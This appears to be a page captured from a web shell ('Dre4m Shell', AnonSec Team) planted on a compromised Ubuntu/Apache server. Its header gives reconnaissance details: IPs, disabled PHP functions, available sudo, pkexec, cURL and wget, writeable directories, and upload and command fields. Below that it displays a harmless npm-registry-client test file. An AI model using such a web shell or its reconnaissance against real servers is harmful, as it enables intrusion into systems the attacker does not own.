Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 18.216.60.85
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/npm/node_modules/npm-registry-client/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/npm/node_modules/npm-registry-client/test/config-override.js
var test = require('tap').test

require('./lib/server.js').close()
var common = require('./lib/common.js')
var config = {
  proxy: {
    http: 'http://proxy.npm:8088/',
    https: 'https://proxy.npm:8043/',
    localAddress: 'localhost.localdomain'
  },
  ssl: {
    ca: 'not including a PEM',
    certificate: 'still not including a PEM',
    key: 'nope',
    strict: false
  },
  retry: {
    count: 1,
    factor: 9001,
    minTimeout: -1,
    maxTimeout: Infinity
  },
  userAgent: 'npm-awesome/4 (Mozilla 5.0)',
  log: { fake: function () {} },
  defaultTag: 'next',
  couchToken: { object: true },
  sessionToken: 'hamchunx'
}

test('config defaults', function (t) {
  var client = common.freshClient(config)

  var proxy = client.config.proxy
  t.equal(proxy.http, 'http://proxy.npm:8088/')
  t.equal(proxy.https, 'https://proxy.npm:8043/')
  t.equal(proxy.localAddress, 'localhost.localdomain')

  var ssl = client.config.ssl
  t.equal(ssl.ca, 'not including a PEM')
  t.equal(ssl.certificate, 'still not including a PEM')
  t.equal(ssl.key, 'nope')
  t.equal(ssl.strict, false)

  var retry = client.config.retry
  t.equal(retry.count, 1)
  t.equal(retry.factor, 9001)
  t.equal(retry.minTimeout, -1)
  t.equal(retry.maxTimeout, Infinity)

  t.equal(client.config.userAgent, 'npm-awesome/4 (Mozilla 5.0)')
  t.ok(client.log.fake)
  t.equal(client.config.defaultTag, 'next')
  t.ok(client.config.couchToken.object)
  t.equal(client.config.sessionToken, 'hamchunx')

  t.end()
})

Anon7 - 2022
AnonSec Team